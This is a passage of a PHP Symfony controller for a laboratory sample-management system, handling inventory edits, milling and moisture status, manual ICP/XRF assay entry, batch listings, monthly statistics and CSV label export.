  816. $newparcel->setWaybill($info["waybill"]);
  817. $newparcel->setSender($info["sender"]);
  818. $newparcel->setComment($info["comment"]);
  819. $info = $info["info"];
  820. //$newparcel->setData($info);
  821. $newparcel->setDataarray($info);
  822. $newparcel->setDateadded(new \DateTime());
  823. $newparcel->setAccepted(false);
  825. $this->em->persist($newparcel);
  826. $this->em->flush();
  827. return new Response("/");
  828. }
  830. $usercountry = ($this->getUser()->getCountry() ? $this->getUser()->getCountry() : []);
  831. $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  832. 'country' => $usercountry
  833. ],[
  834. 'id' => 'DESC'
  835. ]);
  836. $samples2=[];
  837. if (in_array("WC",$usercountry)){
  838. $samples2 = $this->em
  839. ->createQuery(
  840. "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  841. )
  842. ->getResult();
  843. }
  844. //dump($samples2);
  845. $samples = array_merge($samples,$samples2);
  846. return $this->render('cats/addclientorder.html.twig', [
  847. 'samples' => $samples,
  848. ]);
  849. }
  850. //=====================================================================================================================================================================================<
  851. /**
  852. * @IsGranted("ROLE_USER")
  853. * @Route("/stats/{id}", name="stats")
  854. * @param int $id
  855. * @param Request $request
  856. * @return Response $response
  857. */
  858. public function stats(int $id, Request $request)
  859. {
  860. $usercountry = $this->getUser()->getCountry();
  861. $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  862. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  863. 'id' => $id
  864. ]);
  868. // $qb instanceof QueryBuilder
  869. $qb = $this->em->createQueryBuilder();
  870. $qb->select('count(t.id)');
  871. $qb->from(Inventory::class, 't');
  872. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  873. // $qb->where('t.dateFinished > 2020-09-18');
  874. $qb->setMaxResults('1');
  876. $result = $qb->getQuery()->getSingleScalarResult();
  877. //dump($result);
  878. $qb1 = $this->em->createQueryBuilder();
  879. $qb1->select('t');
  880. $qb1->from(FABatch::class, 't');
  881. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  882. $anotherresult = $qb1->getQuery()->getResult();
  883. $anotherresult = !$anotherresult ? $anotherresult = [1] : $anotherresult;
  884. $loginfo= [];
  885. $loginfo2= [];
  886. $tasks= [];
  887. $batchesdaily = [];
  888. $batchesdaily2 = [];
  889. $anotherresult2 = 0;
  890. $anotherresult4 = 0;
  891. foreach ($anotherresult as $x){
  893. array_push($loginfo, $x->getDateFinished()->format('j'));
  894. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  895. $stmt = $this->em->getConnection()->prepare($sql);
  896. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  897. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  898. //dump($anotherresult2);
  899. }
  900. $qb3 = $this->em->createQueryBuilder();
  901. $qb3->select('t');
  902. $qb3->from(ICPBatch::class, 't');
  903. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  904. $anotherresult3 = $qb3->getQuery()->getResult();
  905. $anotherresult3 = !$anotherresult3 ? $anotherresult3 = [1] : $anotherresult3;
  906. foreach ($anotherresult3 as $x){
  908. array_push($loginfo2, $x->getDate()->format('j'));
  909. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  910. $stmt = $this->em->getConnection()->prepare($sql);
  911. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  912. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  913. //dump($anotherresult2);
  914. }
  916. return $this->render('cats/stats.html.twig', [
  917. 'messages' => $messages,
  918. 'bonuses' => $bonuses,
  919. 'data' => $result,
  920. 'data23' => $anotherresult,
  921. 'loginfo' => $loginfo,
  922. 'batchesdaily' => $batchesdaily,
  923. 'test2' => $anotherresult2,
  924. 'icp' => $anotherresult3,
  925. 'icp2' => $batchesdaily2,
  926. 'tasks' => $tasks
  927. ]);
  928. }
  929. //=====================================================================================================================================================================================<
  930. /**
  931. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  932. * @param Request $request
  933. * @Route("/mill", name="mill")
  934. * @return Response $response
  935. */
  936. public function mill(Request $request)
  937. {
  938. $loginfo= [];
  939. if ( $request->isMethod("post") ) {
  940. if (null !== $request->get('markmilled')){
  941. $info = $request->get('ids');
  942. if(!empty($info)){
  943. foreach($info as $j) {
  944. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  945. $entry->setMillStatus('Milled');
  946. $entry->setDateMilled(new \DateTime());
  947. $this->em->persist($entry);
  948. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  949. }
  950. $log = new Log();
  951. $log->setDate(new \DateTime());
  952. $log->setType('Mill Status');
  953. $log->setText('Sample mill status was updated to Milled');
  954. $log->setAssignedUser($this->getUser());
  955. $log->setText2(implode(", ", $loginfo));
  956. $this->em->persist($log);
  957. $this->em->flush();
  958. }
  960. }
  961. if (null !== $request->get('revert')){
  962. $info = $request->get('ids');
  963. if(!empty($info)){
  964. foreach($info as $j) {
  965. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  966. $entry->setMillStatus('Original');
  967. $entry->setDateMilled(null);
  968. $this->em->persist($entry);
  969. array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
  970. }
  971. $log = new Log();
  972. $log->setDate(new \DateTime());
  973. $log->setType('Mill Status');
  974. $log->setText('Sample mill status reverted to Original');
  975. $log->setAssignedUser($this->getUser());
  976. $log->setText2(implode(", ", $loginfo));
  977. $this->em->persist($log);
  978. $this->em->flush();
  979. }
  981. }
  982. }
  983. $millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
  984. return $this->render('cats/mill.html.twig', [
  985. 'inventory' => $millinv
  986. ]);
  987. }
  988. //=====================================================================================================================================================================================<
  989. /**
  990. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  991. * @param Request $request
  992. * @Route("/fassayreg/disqbatches", name="disqbatches")
  993. * @return Response $response
  994. */
  995. public function disqbatches(Request $request)
  996. {
  997. $disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
  998. ['status' => ["finished",null,]],['id'=>'DESC'],50
  999. );
  1001. return $this->render('cats/disqbatches.html.twig', [
  1002. 'batches' => $disqbatches
  1003. ]);
  1004. }
  1005. //=====================================================================================================================================================================================<
  1006. /**
  1007. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1008. * @param Request $request
  1009. * @Route("/icp/icpbatches", name="icpbatches")
  1010. * @return Response $response
  1011. */
  1012. public function icpbatches(Request $request)
  1013. {
  1014. $icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
  1015. ['status' => null],['id' => 'DESC'],
  1016. 50
  1017. );
  1018. return $this->render('cats/icpbatches.html.twig', [
  1019. 'batches' => $icpbatches
  1020. ]);
  1021. }
  1022. //=====================================================================================================================================================================================<
  1023. /**
  1024. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1025. * @param Request $request
  1026. * @Route("/fassayreg/fabatches", name="fabatches")
  1027. * @return Response $response
  1028. */
  1029. public function fabatches(Request $request)
  1030. {
  1031. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
  1032. ['status' => [null,'finished']],['id' => 'DESC']
  1033. );
  1034. return $this->render('cats/fabatches.html.twig', [
  1035. 'fabatches' => $fabatches
  1036. ]);
  1037. }
  1039. /**
  1040. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1041. * @Route("/fassayreg/au-batches", name="au-batches")
  1042. * @return Response $response
  1043. */
  1044. public function auBatches(AuBatchManager $auBatchManager): Response
  1045. {
  1046. return $this->render(
  1047. 'cats/au-batches.html.twig',
  1048. ['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
  1049. );
  1050. }
  1051. //=====================================================================================================================================================================================<
  1052. /**
  1053. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1054. * @param Request $request
  1055. * @Route("/inv", name="visitorinventory")
  1056. * @return Response $response
  1057. */
  1058. public function visitorinventory(Request $request)
  1059. {
  1061. return $this->render('cats/visitinv.html.twig');
  1062. }
  1063. //=====================================================================================================================================================================================<
  1064. /**
  1065. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1066. * @param Request $request
  1067. * @Route("/inventory", name="inventory")
  1068. * @return Response $response
  1069. */
  1070. public function inventory(Request $request)
  1071. {
  1072. if ( $request->isMethod("post") ) {
  1073. $loginfo= [];
  1074. if (null !== $request->get('edit')){
  1075. $info = $request->get('ids');
  1076. //dump($request);
  1077. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1078. 'id' => $info
  1079. ]);
  1080. return $this->render('cats/edit.html.twig', [
  1081. 'inventory' => $editinv
  1082. ]);
  1083. }
  1084. if (null !== $request->get('startanalysis')){
  1085. $info = $request->get('ids');
  1086. /** @var Inventory $dumby */
  1087. if(!empty($info)) {
  1088. foreach ($info as $j) {
  1090. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1091. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1092. $dumby->setAnalysisStatus('None');
  1093. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1095. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1096. $dumby->setAnalysisStatus('To Start');
  1097. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1098. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1099. $dumby->setAnalysisStatus('In Progress');
  1100. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1101. }
  1102. $log = new Log();
  1103. $log->setDate(new \DateTime());
  1104. $log->setType('Analysis Status');
  1105. $log->setText('Analysis status manually altered for samples');
  1106. $log->setAssignedUser($this->getUser());
  1107. $log->setText2(implode(", ", $loginfo));
  1109. $this->em->persist($log);
  1111. $this->em->persist($dumby);
  1112. }
  1113. }
  1114. $this->em->flush();
  1115. return $this->redirect($this->generateUrl('inventory'));
  1117. }
  1118. if (null !== $request->get('editconfirm')){
  1119. $info = $request->get('entry');
  1121. foreach($info as $j) {
  1123. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1124. //dump($entry);
  1125. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1126. $entry->setSampleType($j['type'])
  1127. ->setSampleSubtype($j['subtype'])
  1128. ->setSampleName($j['name']);
  1129. $entry->setCountry($j['country']);
  1130. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1131. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1132. }
  1133. if ((float)str_replace(",",".",$j['metalweight']) > 0) {
  1134. $entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
  1135. }
  1136. $entry->setExportno($j['export']);
  1137. $this->em->persist($entry);
  1140. }
  1141. $log = new Log();
  1142. $log->setDate(new \DateTime());
  1143. $log->setType('Sample Info');
  1144. $log->setText('Sample information was edited');
  1145. $log->setAssignedUser($this->getUser());
  1146. $log->setText2(implode(", ", $loginfo));
  1148. $this->em->persist($log);
  1149. $this->em->flush();
  1150. return $this->redirect($this->generateUrl('inventory'));
  1151. }
  1152. if (null !== $request->get('manualicp')){
  1153. $info = $request->get('ids');
  1154. //dump($request);
  1155. $micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1156. 'id' => $info
  1157. ]);
  1158. return $this->render('cats/micp.html.twig', [
  1159. 'inventory' => $micp
  1160. ]);
  1161. }
  1162. if (null !== $request->get('manualicpconfirm')){
  1163. $info = $request->get('entry');
  1164. if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
  1167. foreach($info as $j) {
  1169. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1170. //dump($entry);
  1171. /** @var Inventory $entry */
  1172. $entry->setIcppt((int)$j['pt'])
  1173. ->setIcppd((int)$j['pd'])
  1174. ->setIcprh((int)$j['rh'])
  1175. ->setDateFinished(new \DateTime())
  1176. ->setAnalysisStatus('Completed');
  1177. $this->em->persist($entry);
  1178. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1180. }
  1181. $log = new Log();
  1182. $log->setDate(new \DateTime());
  1183. $log->setType('Assay Info');
  1184. $log->setText('Assay information was manually added');
  1185. $log->setAssignedUser($this->getUser());
  1186. $log->setText2(implode(", ", $loginfo));
  1187. $this->em->persist($log);
  1188. $this->em->flush();
  1189. }
  1190. return $this->redirect($this->generateUrl('inventory'));
  1191. }
  1192. if (null !== $request->get('addtoorder')){
  1193. $info = $request->get('entry');
  1194. //dump($info);
  1195. return $this->redirect($this->generateUrl('inventory'));
  1196. }
  1197. if (null !== $request->get('xrf')){
  1198. $info = $request->get('ids');
  1199. //dump($request);
  1200. $xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1201. 'id' => $info
  1202. ]);
  1203. return $this->render('cats/xrf.html.twig', [
  1204. 'inventory' => $xrfinv
  1205. ]);
  1206. }
  1207. if (null !== $request->get('xrfconfirm')){
  1208. $info = $request->get('entry');
  1210. foreach($info as $j) {
  1211. /** @var Inventory $entry */
  1212. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1213. //dump($entry);
  1214. $entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
  1215. $this->em->persist($entry);
  1216. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
  1218. }
  1219. $log = new Log();
  1220. $log->setDate(new \DateTime());
  1221. $log->setType('XRF Info');
  1222. $log->setText('XRF information was manually added');
  1223. $log->setAssignedUser($this->getUser());
  1224. $log->setText2(implode(", ", $loginfo));
  1225. $this->em->persist($log);
  1226. $this->em->flush();
  1227. return $this->redirect($this->generateUrl('inventory'));
  1228. }
  1229. if (null !== $request->get('mill')){
  1230. $info = $request->get('ids');
  1231. //dump($request);
  1232. /** @var Inventory $dumby */
  1233. if(!empty($info)) {
  1234. foreach ($info as $j) {
  1236. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1237. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1238. $dumby->setMillStatus('To Mill');
  1239. $this->em->persist($dumby);
  1240. }
  1241. }
  1242. $log = new Log();
  1243. $log->setDate(new \DateTime());
  1244. $log->setType('Mill Status');
  1245. $log->setText('Sample mill status changed to To Mill');
  1246. $log->setAssignedUser($this->getUser());
  1247. $log->setText2(implode(", ", $loginfo));
  1248. $this->em->persist($log);
  1249. $this->em->flush();
  1250. return $this->redirect($this->generateUrl('inventory'));
  1252. }
  1253. //=======================================================================================
  1254. if (null !== $request->get('moist')){
  1255. $info = $request->get('ids');
  1256. /** @var Inventory $dumby */
  1257. if(!empty($info)) {
  1258. foreach ($info as $j) {
  1259. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1261. if(count($dumby->getMoists()) == NULL) {
  1262. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
  1263. $newmoists1 = new Moists();
  1264. $newmoists1->setMoistsref($dumby->getId() . "-M1");
  1265. $newmoists1->setAssignedSample($dumby);
  1266. $newmoists1->setStatus('To Do');
  1267. $newmoists1->setCounts(true);
  1268. $this->em->persist($newmoists1);
  1270. $newmoists2 = new Moists();
  1271. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1272. $newmoists2->setAssignedSample($dumby);
  1273. $newmoists2->setStatus('To Do');
  1274. $newmoists2->setCounts(true);
  1275. $this->em->persist($newmoists2);
  1277. $dumby->setMoistStatus("In Progress");
  1279. } elseif(count($dumby->getMoists()) == 2) {
  1280. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1281. $newmoists3 = new Moists();
  1282. $newmoists3->setMoistsref($dumby->getId() . "-M3");
  1283. $newmoists3->setAssignedSample($dumby);
  1284. $newmoists3->setStatus('To Do');
  1285. $newmoists3->setCounts(true);
  1286. $this->em->persist($newmoists3);
  1288. $dumby->setMoistStatus("In Progress");
  1290. } elseif(count($dumby->getMoists()) == 3) {
  1291. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1292. $newmoists4 = new Moists();
  1293. $newmoists4->setMoistsref($dumby->getId() . "-M4");
  1294. $newmoists4->setAssignedSample($dumby);
  1295. $newmoists4->setStatus('To Do');
  1296. $newmoists4->setCounts(true);
  1297. $this->em->persist($newmoists4);
  1299. $dumby->setMoistStatus("In Progress");
  1301. } elseif(count($dumby->getMoists()) == 4) {
  1302. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1303. $newmoists5 = new Moists();
  1304. $newmoists5->setMoistsref($dumby->getId() . "-M5");
  1305. $newmoists5->setAssignedSample($dumby);
  1306. $newmoists5->setStatus('To Do');
  1307. $newmoists5->setCounts(true);
  1308. $this->em->persist($newmoists5);
  1310. $dumby->setMoistStatus("In Progress");
  1312. } elseif(count($dumby->getMoists()) == 1) {
  1313. array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
  1315. foreach ($dumby->getMoists() as $i){
  1316. /** @var Moists $moist */
  1317. $moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
  1318. if (substr($moist->getMoistsref(),-1) == "M"){
  1319. $moist->setMoistsref($dumby->getId() . "-M1");
  1320. $moist->setStatus("Reverted for 2nd");
  1321. }
  1322. }
  1324. $newmoists2 = new Moists();
  1325. $newmoists2->setMoistsref($dumby->getId() . "-M2");
  1326. $newmoists2->setAssignedSample($dumby);
  1327. $newmoists2->setStatus('To Do');
  1328. $newmoists2->setCounts(true);
  1329. $this->em->persist($newmoists2);
  1331. $dumby->setMoistStatus("In Progress");
  1332. }
  1333. }
  1335. $log = new Log();
  1336. $log->setDate(new \DateTime());
  1337. $log->setType('Moisture Info');
  1338. $log->setText('Sample were put up for Moisture testing');
  1339. $log->setAssignedUser($this->getUser());
  1340. $log->setText2(implode(", ", $loginfo));
  1341. $this->em->persist($log);
  1342. $this->em->flush();
  1343. }
  1344. return $this->redirect($this->generateUrl('inventory'));
  1345. }
  1347. if (null !== $request->get('moistrevert')){
  1348. $info = $request->get('ids');
  1349. /** @var Inventory $inv */
  1350. if(!empty($info)){
  1351. foreach ($info as $j){
  1352. $inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1353. if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
  1354. $inv->setMoistStatus("Reverted");
  1355. foreach ($inv->getMoists() as $i){
  1356. /** @var Moists $i*/
  1357. $i->setStatus('Reverted');
  1358. $this->em->persist($i);
  1359. }
  1360. }
  1361. $this->em->persist($inv);
  1362. }
  1363. $this->em->flush();
  1364. }
  1365. }
  1366. }
  1367. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1368. return $this->render('cats/catinventory.html.twig', [
  1369. 'orders' => $orders
  1370. ]);
  1371. }
  1374. /**
  1375. * @Route("/cat/labelCsv", name="cat_labelCsv")
  1376. * @param Request $request
  1377. * @return StreamedResponse
  1378. */
  1379. public function catLabelCsv(Request $request): StreamedResponse
  1380. {
  1381. $samples = $request->get('samples');
  1382. $labels = [];
  1384. foreach ($samples as $sampleId) {
  1385. /** @var Inventory $sample */
  1386. $sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
  1388. if ($sample) {
  1389. $labels[] = [
  1390. $sample->getId(),
  1391. $sample->getSampleName() ?? ''
  1392. ];
  1393. }
  1394. }
  1396. $response = new StreamedResponse(function() use ($labels) {
  1397. $handle = fopen('php://output', 'w+');
  1399. // Add the header of the CSV file
  1400. fputcsv($handle, ['ID', 'Sample Reference']);
  1402. foreach ($labels as $label) {
  1403. fputcsv($handle, $label);
  1404. }
  1406. fclose($handle);
  1407. });
  1409. $response->headers->set('Content-Type', 'text/csv');
  1410. $response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
  1412. return $response;
  1413. }
  1415. //=====================================================================================================================================================================================<
  1416. /**
  1417. * @Security("is_granted('ROLE_ADMINISTRATORIUS')")
  1418. * @param Request $request
  1419. * @Route("/adminventory", name="adminventory")
  1420. * @return Response $response
  1421. */
  1422. public function adminventory(Request $request)
  1423. {
  1424. if ( $request->isMethod("post") ) {
  1425. $loginfo= [];
  1426. if (null !== $request->get('edit')){
  1427. $info = $request->get('ids');
  1428. //dump($request);
  1429. $editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
  1430. 'id' => $info
  1431. ]);
  1432. return $this->render('cats/edit.html.twig', [
  1433. 'inventory' => $editinv
  1434. ]);
  1435. }
  1436. if (null !== $request->get('startanalysis')){
  1437. $info = $request->get('ids');
  1438. /** @var Inventory $dumby */
  1439. if(!empty($info)) {
  1440. foreach ($info as $j) {
  1442. $dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
  1443. if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
  1444. $dumby->setAnalysisStatus('None');
  1445. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
  1447. } elseif (($dumby->getAnalysisStatus() != 'Completed')) {
  1448. $dumby->setAnalysisStatus('To Start');
  1449. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1450. } elseif (($dumby->getAnalysisStatus() == 'Completed')) {
  1451. $dumby->setAnalysisStatus('In Progress');
  1452. array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
  1453. }
  1454. $log = new Log();
  1455. $log->setDate(new \DateTime());
  1456. $log->setType('Analysis Status');
  1457. $log->setText('Analysis status manually altered for samples');
  1458. $log->setAssignedUser($this->getUser());
  1459. $log->setText2(implode(", ", $loginfo));
  1461. $this->em->persist($log);
  1463. $this->em->persist($dumby);
  1464. }
  1465. }
  1466. $this->em->flush();
  1467. return $this->redirect($this->generateUrl('inventory'));
  1469. }
  1470. if (null !== $request->get('editconfirm')){
  1471. $info = $request->get('entry');
  1473. foreach($info as $j) {
  1475. $entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
  1476. //dump($entry);
  1477. array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
  1478. $entry->setSampleType($j['type'])
  1479. ->setSampleSubtype($j['subtype'])
  1480. ->setSampleName($j['name']);
  1481. $entry->setCountry($j['country']);
  1482. if ((float)str_replace(",",".",$j['mass']) > 0) {
  1483. $entry->setMass((float)str_replace(",",".",$j['mass']));
  1484. }
  1485. $entry->setExportno($j['export']);
  1486. $this->em->persist($entry);
  1489. }
  1490. $log = new Log();
  1491. $log->setDate(new \DateTime());
  1492. $log->setType('Sample Info');
  1493. $log->setText('Sample information was edited');
  1494. $log->setAssignedUser($this->getUser());
  1495. $log->setText2(implode(", ", $loginfo));
  1497. $this->em->persist($log);
  1498. $this->em->flush();
  1499. return $this->redirect($this->generateUrl('inventory'));
  1500. }
  1501. if (null !== $request->get('addtoorder')){
  1502. $info = $request->get('entry');
  1503. //dump($info);
  1504. return $this->redirect($this->generateUrl('inventory'));
  1505. }
  1507. }
  1509. $orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
  1510. return $this->render('cats/catadminventory.html.twig', [
  1511. 'orders' => $orders
  1512. ]);
  1513. }
  1514. //=====================================================================================================================================================================================<
  1515. /**
  1516. * @Route("/getinv", name="getinv")
  1517. */
  1518. public function ajaxgetinv()
  1519. {
  1520. $response = new Response();
  1521. $list=[];
  1522. $inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
  1523. 'id' => "DESC"
  1524. ]);
  1527. $qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
  1528. //dump($qb->getOneOrNullResult());
  1529. //foreach($inventory as $j){
  1530. // $list[] = $j->getInfo();
  1531. //}
  1532. $response->setContent(json_encode([
  1533. 'data' => $list,
  1534. ]));
  1535. $response->headers->set('Content-Type', 'application/json');
  1536. return $response;
  1538. }
  1539. //=====================================================================================================================================================================================<
  1540. // /**
  1541. // * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1542. // * @Route("/moists", name="moists")
  1543. // * @param Request $request
  1544. // * @return Response $response
  1545. // */
  1546. // public function moists(Request $request)
  1547. // {
  1548. // $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
  1549. // 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
  1550. // ]);
  1551. // return $this->render('cats/moists.html.twig',[
  1552. // 'inventory' => $moists
  1553. // ]);
  1554. // }
  1555. //=====================================================================================================================================================================================<
  1556. /**
  1557. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1558. * @Route("/moistsresult", name="moistsresult")
  1559. * @param Request $request
  1560. * @return Response $response
  1561. */
  1562. public function moistsresult(Request $request)
  1563. {
  1564. return $this->render('cats/moistsresult.html.twig',[]);
  1565. }
  1566. //=====================================================================================================================================================================================<
  1567. /**
  1568. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1569. * @Route("/moists2", name="moists2")
  1570. * @param Request $request
  1571. * @return Response $response
  1572. */
  1573. public function moists2(Request $request)
  1574. {
  1575. return $this->render('cats/moists2.html.twig',[]);
  1576. }
  1577. //=====================================================================================================================================================================================<
  1578. /**
  1579. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1580. * @Route("/moistarchived", name="moistsarchived")
  1581. * @param Request $request
  1582. * @return Response $response
  1583. */
  1584. public function moistsarchive(Request $request)
  1585. {
  1586. return $this->render('cats/moistsarchive.html.twig',[]);
  1587. }
  1588. //=====================================================================================================================================================================================<
  1589. /**
  1590. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  1591. * @Route("/fassayprelim", name="fassayprelim")
  1592. * @param Request $request
  1593. * @return Response $response
  1594. */
  1595. public function fassayprelim(Request $request){
  1597. $fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
  1598. // $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
  1599. // 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
  1600. // ]);
  1602. /* @var QueryBuilder $qb */
  1603. $qb = $this->em->createQueryBuilder();
  1604. $qb->select('a,b,c');
  1605. $qb->from(PRun::class, 'a');
  1606. $qb->leftJoin('a.assignedSample', 'b');
  1607. $qb->leftJoin('b.assignedOrder', 'c');
  1608. $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
  1609. if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
  1610. $qb->andWhere('c.WNJ = TRUE');
  1611. }
  1612. $prelims=$qb->getQuery()->getResult();
  1613. $data = $request->request->all();
  1615. if ( $request->isMethod("post") ) {
  1616. if (null !== $request->get('newfabatch')) {
  1617. if ($data and isset($data['entry']) and isset($data['chkids'])) {
  1618. $info2 = $data['chkids'];
  1619. $newbatch = new FABatch();
  1620. $newbatch->setDate(new \DateTime());
  1621. $this->em->persist($newbatch);
  1622. foreach ($info2 as $j) {
  1623. $icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
  1624. 'id' => $j
  1625. ]);
  1626. $icprundummy->setAssignedFABatch($newbatch);
  1627. $this->em->persist($icprundummy);
  1628. }
  1629. $this->em->flush();
  1630. return $this->redirect($this->generateUrl('fassayprelim'));
  1631. }
  1632. }
  1633. }
  1634. return $this->render('cats/fassayprelim.html.twig',[
  1635. 'pruns' => $prelims,
  1636. 'fabatches' => $fabatches
  1637. ]);
  1638. }
